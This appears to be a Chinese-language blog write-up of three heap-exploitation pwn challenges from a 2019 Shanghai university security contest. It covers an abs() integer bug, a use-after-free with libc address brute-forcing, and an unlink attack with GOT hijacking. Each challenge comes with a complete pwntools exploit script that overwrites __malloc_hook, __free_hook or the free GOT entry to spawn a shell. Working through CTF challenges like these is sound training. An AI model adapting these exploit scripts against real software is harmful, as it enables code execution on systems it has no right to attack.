2019-上海市大学生信息安全竞赛

Boring_heap

0x01 查看文件

保护全开

考点:abs漏洞、overlapping

0x02 IDA分析

创建:(指定三个size的大小:0x20、0x30、0x40)没什么漏洞

删除(无UAF)但是我们看到有abs函数,上网查查发现输入0x80000000会被当做对应的负数。(漏洞点) 但是这里由于其判断长度貌似也用不上。
编辑
这里就产生了可利用的漏洞了,余后得负数向前写入。

通过验证,0x80000000%0x48的长度会产生-32的余数。那么就可以修改size和fd了。。。

考察点&难点:

考察点一:发现漏洞函数的机敏性(abs)
考察点二:利用unsorted bin删除策略覆盖后面chunk,使其空间复用,达到修改数据的目的
考察点三:劫持main_arean位置,修改top chunk

0x03 思路

利用abs漏洞修改size,覆盖下一个的chunk,合并为一个unsortedbin,再从unsorted bin中分配一个chunk,利用空间复用的第二个chunk打印出libc地址。再利用一次修改fd指针为main arean中数据,要分配mainarean,那么就要将fastbin中对应位置的fd改为0x51,这样才可以满足题目分配策略。最后修改top chunk为malloc_hook位置。

0x04 步骤

步骤一:泄露libc:

# leak base
create(2,"\x11"*0x30) # 0
create(2,"\x22"*0x30) # 1
create(2,"\x33"*0x30) # 2
create(1,"\x44"*0x20) # 3
create(2,"\x55"*0x30) # 4

edit(1,0x80000000,"c"*0x10+p64(0)+p64(0xb1)+"\n") # 1=1+2+3
delete(1)
create(2,"\x66"*0x30) # 5=1 剩余的部分就是2chunk了
show(2)
main_arena = u64(p.recv(6).ljust(8,"\x00"))-88
libc_base = main_arena-0x3c4b20
print hex(libc_base)

步骤二:
1.先准备好将fastbin 0x50位置改为0x51的chunk,该位置是在main arean中,所以可以劫持main_arean的内存

create(2,"\x77"*0x30) # 6=2
create(1,"\x88"*0x20) # 7 use unsorted bin,在这里改就会导致下面分配下一个0x51的chunk出错

2.空间复用,修改fastbin 中fd为main_arean位置

# modify fd to mainarean & malloc arean mainarean
create(2,"\x99"*0x30) # 8
create(3,"\x10"*0x40) # 9
create(3,"\x12"*0x40) # 10

edit(8,0x80000000,p64(0)*3+p64(0x91)+"\n") # 8=8+9
delete(8)
create(2,"\x13"*0x30) # 11=8
create(3,"\x14"*0x40) # 12=9
delete(12)
edit(9,0,p64(main_arena+0x10)+"\n")

3.修改fastbin 中0x50链的fd为0x51(目的是让main arean中的数据有0x51,才能分配过去)

delete(6)
edit(2,0,p64(0x51)+"\n")
create(2,"\x88"*0x30) # 13=6=2

步骤三:分配过去,改掉top chunk为malloc_hook-0x10位置,那么下一次就会分配到想要的malloc_hook地址,写入one_gadget

# modify top chunk to malloc hook
create(3,"\x14"*0x40) # 14
target_addr = libc_base + libc.symbols["__malloc_hook"]-0x10
create(3,7*p64(0)+p64(target_addr))

create(3,p64(0xf1147+libc_base)+"\n")
gdb.attach(p)
# update()
p.sendlineafter("Exit\n","1")
p.sendlineafter("Large\n","3")

0x05 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
if debug:
    p = process("./pwn1")
    libc = ELF("./libc.so")
else:
    p = process("./360pwn1")
    libc = ELF("./libc.so")

context.log_level  =  "debug"

# 3:0x40,2:0x30,1:0x20
def create(chunkType,content):
    p.sendlineafter("Exit\n","1")
    p.sendlineafter("Large\n",str(chunkType))
    p.sendafter("Content:\n",content)

def edit(index,position,content):
    p.sendlineafter("Exit\n","2")
    p.sendlineafter("update?\n",str(index))
    p.sendlineafter("update?\n",str(position))
    p.sendafter("Content:\n",content)

def delete(index):
    p.sendlineafter("Exit\n","3")
    p.sendlineafter("delete?\n",str(index))

def show(index):
    p.sendlineafter("Exit\n","4")
    p.sendlineafter("view?\n",str(index))

# leak base
create(2,"\x11"*0x30) # 0
create(2,"\x22"*0x30) # 1
create(2,"\x33"*0x30) # 2
create(1,"\x44"*0x20) # 3
create(2,"\x55"*0x30) # 4

edit(1,0x80000000,"c"*0x10+p64(0)+p64(0xb1)+"\n") # 1=1+2+3
delete(1)
create(2,"\x66"*0x30) # 5=1
show(2)
main_arena = u64(p.recv(6).ljust(8,"\x00"))-88
libc_base = main_arena-0x3c4b20
print hex(libc_base)

# modify fastbin list fd value=0x51,for malloc mainarean chunk
create(2,"\x77"*0x30) # 6=2
create(1,"\x88"*0x20) # 7 use unsorted bin

# modify fd to mainarean & malloc arean mainarean
create(2,"\x99"*0x30) # 8
create(3,"\x10"*0x40) # 9
create(3,"\x12"*0x40) # 10

edit(8,0x80000000,p64(0)*3+p64(0x91)+"\n") # 8=8+9
delete(8)
create(2,"\x13"*0x30) # 11=8
create(3,"\x14"*0x40) # 12=9
delete(12)
edit(9,0,p64(main_arena+0x10)+"\n")

# modify 0x50 fastbin list fd to 0x51, unless the previous will make fault
delete(6)
edit(2,0,p64(0x51)+"\n")
create(2,"\x88"*0x30) # 13=6=2

# modify top chunk to malloc hook
create(3,"\x14"*0x40) # 14
target_addr = libc_base + libc.symbols["__malloc_hook"]-0x10
create(3,7*p64(0)+p64(target_addr))

create(3,p64(0xf1147+libc_base)+"\n")
gdb.attach(p)
# update()
p.sendlineafter("Exit\n","1")
p.sendlineafter("Large\n","3")

p.interactive()

login

0x01 查看文件

没开PIE,但是其他的全部都打开了。首先看看有没有在bss段位置有什么输入的信息。

考点:UAF、libc地址爆破

0x02 IDA分析

创建:

创建登录密码,size为0x0~0x100,bss段指向0x20的管理chunk,管理的chunk结构体如图所示:第二个元素为函数指针。注意是先创建pass的chunk,再创建0x20管理的chunk。

删除:

存在UAF漏洞,并且删除过程是先删除pass chunk再删除管理的chunk

登录:泄露信息功能

先比较是不是相同,再调用函数指针,我们看看函数指针是什么:
打印出pass信息。那么这里肯定是要进行 leak libc_base了。(当时也想到了,但是怎么leak???)

编辑:

直接写入新的password。

0x03 思路

考察点&思路:UAF的利用思路,利用思路是考虑过的,首先leak出libc_base,在创建一个chunk,写入one_gadget到函数指针位置,最后调用这个命令来getshell。以及特殊情况下libc_base的爆破。

难点:libc_base的爆破,就是因为这个问题,没有得到解决导致这道题目没能做出。。。

0x04 步骤

步骤一:爆破出libc_base:(由于只有6次创建机会,那么第1次释放后第二次爆破一个字节,0x7f一个字节,输入一个字符为一个字节,第三次创建爆破一个字节,第四次爆破两个字节)

create(0,0x80,"a"*0x80)
delete(0)
create(1,0x80,"a"*4)

for i in range(0x1,0x100):
    login(1,7,"a"*4+chr(i)+"\x7f")
    if "success!" in p.recvline():
        point_one = chr(i)

delete(1)
create(2,0x80,"a"*3)
for i in range(0x1,0x100):
    login(1,7,"a"*3+chr(i)+point_one+"\x7f")
    if "success!" in p.recvline():
        point_two = chr(i)
gdb.attach(p)

delete(2)
create(3,0x80,"a")
flag = 0
for i in range(0x1,0x100):
    if flag == 1:
        break
    for j in range(0x1,0x100):
        login(1,7,"a"+chr(i)+chr(j)+point_two+point_one+"\x7f")
        if "success!" in p.recvline():
            flag = 1
            point_three = chr(j)
            point_four = chr(i)
            p.recvuntil("You password is:\n")
            date = u64(p.recv(6).ljust(8,"\x00"))

            # print hex(date)
            break
libc_base = date-65-0x3C4B20
print hex(libc_base)

步骤二:修改新chunk pass(实际也是旧chunk的manage chunk)pass_addr为一个地址(地址中的数据不变且已知),func pointer放入one_gadget

one_gadget = libc_base + 0xf02a4
create(4,0x10,"a"*0x10)
delete(4)
create(5,0x10,p64(libc_base+libc.symbols["__free_hook"])+p64(one_gadget))
login(4,2,"\x00")

0x05 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level  =  "debug"
p = process("./login")
libc = ELF("./libc-2.23.so")
elf = ELF("./login")

def login(id,size,content):
    p.sendlineafter("Choice:\n","1")
    p.sendlineafter("id:\n",str(id))
    p.sendlineafter("length:\n",str(size))
    p.sendafter("password:\n",content)

def create(id,size,content):
    p.sendlineafter("Choice:\n","2")
    p.sendlineafter("id:\n",str(id))
    p.sendlineafter("length:\n",str(size))
    p.sendafter("password:\n",content)

def delete(id):
    p.sendlineafter("Choice:\n","3")
    p.sendlineafter("id:\n",str(id))

def edit(id,content):
    p.sendlineafter("Choice:\n","4")
    p.sendlineafter("id:\n",str(id))
    p.sendlineafter("new pass:\n",content)

create(0,0x80,"a"*0x80)
delete(0)
create(1,0x80,"a"*4)

for i in range(0x1,0x100):
    login(1,7,"a"*4+chr(i)+"\x7f")
    if "success!" in p.recvline():
        point_one = chr(i)

delete(1)
create(2,0x80,"a"*3)
for i in range(0x1,0x100):
    login(1,7,"a"*3+chr(i)+point_one+"\x7f")
    if "success!" in p.recvline():
        point_two = chr(i)

delete(2)
create(3,0x80,"a")
flag = 0
for i in range(0x1,0x100):
    if flag == 1:
        break
    for j in range(0x1,0x100):
        login(1,7,"a"+chr(i)+chr(j)+point_two+point_one+"\x7f")
        if "success!" in p.recvline():
            flag = 1
            point_three = chr(j)
            point_four = chr(i)
            p.recvuntil("You password is:\n")
            date = u64(p.recv(6).ljust(8,"\x00"))

            # print hex(date)
            break
libc_base = date-65-0x3C4B20
print hex(libc_base)

one_gadget = libc_base + 0xf02a4
create(4,0x10,"a"*0x10)
delete(4)
create(5,0x10,p64(libc_base+libc.symbols["__free_hook"])+p64(one_gadget))
login(4,2,"\x00")
p.interactive()

slient_note

0x01 查看文件

肯定是跟两者有关:bss段数据,hijacking GOT **考察点:** unlink,hijacking GOT

0x02 IDA分析

创建

两种chunk,第一种是:0x30,第二种是0x210删除
UAF漏洞编辑
对应的chunk进行修改。

0x03 思路

unlink攻击:

步骤一:unlink攻击

create(2,"\x22"*0x20+"\n")
create(1,"\x11"*0x10+"\n")
create(1,"\x11"*0x10+"\n")
delete(2)
create(1,"\x11"*0x20+"\n")
edit(2,p64(0)+p64(0x21)+p64(target_addr-0x18)+p64(target_addr-0x10)+p64(0x20)+p64(0x210)) # 改本身已经为0x1e0size 的chunk为0x210,以便直接分配个chunk,large chunk指针指向这个位置进行unlink
create(2,"\x22"*4+"\n")
delete(2)              # unlink att

步骤二:hijacking GOT

edit(1,p64(0)*3+p64(0x6020a0)+p64(elf.got["free"]))
edit(2,p64(elf.plt["puts"]))
delete(1)
data = u64(p.recv(6).ljust(8,"\x00"))
libc_base = data - libc.symbols["_IO_2_1_stdout_"]
edit(2,p64(libc.symbols['system']+libc_base))
edit(1,"/bin/sh\n")
delete(1)

0x04 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level  =  "debug"

p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./pwn")


# 1: small chunk 0x28(0x30), 2:  large chunk 0x208(0x210)
def create(size,content):
    p.sendlineafter("Exit\n","1")
    p.sendlineafter("add?\n",str(size))
    p.sendafter("Content:\n",content)

def delete(id):
    p.sendlineafter("Exit\n","2")
    p.sendlineafter("2.Large\n",str(id))

def edit(id,content):
    p.sendlineafter("4.Exit\n","3")
    p.sendlineafter("Large\n",str(id))
    p.sendlineafter("Content:\n",content)

target_addr = 0x6020d0

create(2,"\x22"*0x20+"\n")
create(1,"\x11"*0x10+"\n")
# create(1,"\x11"*0x10+"\n")
delete(2)
create(1,"\x11"*0x20+"\n")
edit(2,p64(0)+p64(0x21)+p64(target_addr-0x18)+p64(target_addr-0x10)+p64(0x20)+p64(0x210))

create(2,"\x22"*4+"\n")
delete(2)

edit(1,p64(0)*3+p64(0x6020a0)+p64(elf.got["free"]))
edit(2,p64(elf.plt["puts"]))
delete(1)
data = u64(p.recv(6).ljust(8,"\x00"))
libc_base = data - libc.symbols["_IO_2_1_stdout_"]
edit(2,p64(libc.symbols['system']+libc_base))
edit(1,"/bin/sh\n")
delete(1)
p.interactive()

 Previous
2019-XMAN冬令营结营赛 2019-XMAN冬令营结营赛
filesystem0x01 查看文件 0x02 IDA分析 它这里只是清空了size的部分,而chunk address的地址没有清空,double free 0x03 思路首先劫持chunk list,劫持之后先puts出libc
2020-09-01
Next 
2020-钓鱼杯 2020-钓鱼杯
veryeasy0x01 查看文件 保护全开,2.27 libc **考点:**2.27 double free,io file attack 0x02 IDA分析 标准的菜单题,有创建、编辑、删除,没有打印信息功能 创建功能,这里就是
2020-08-30
  TOC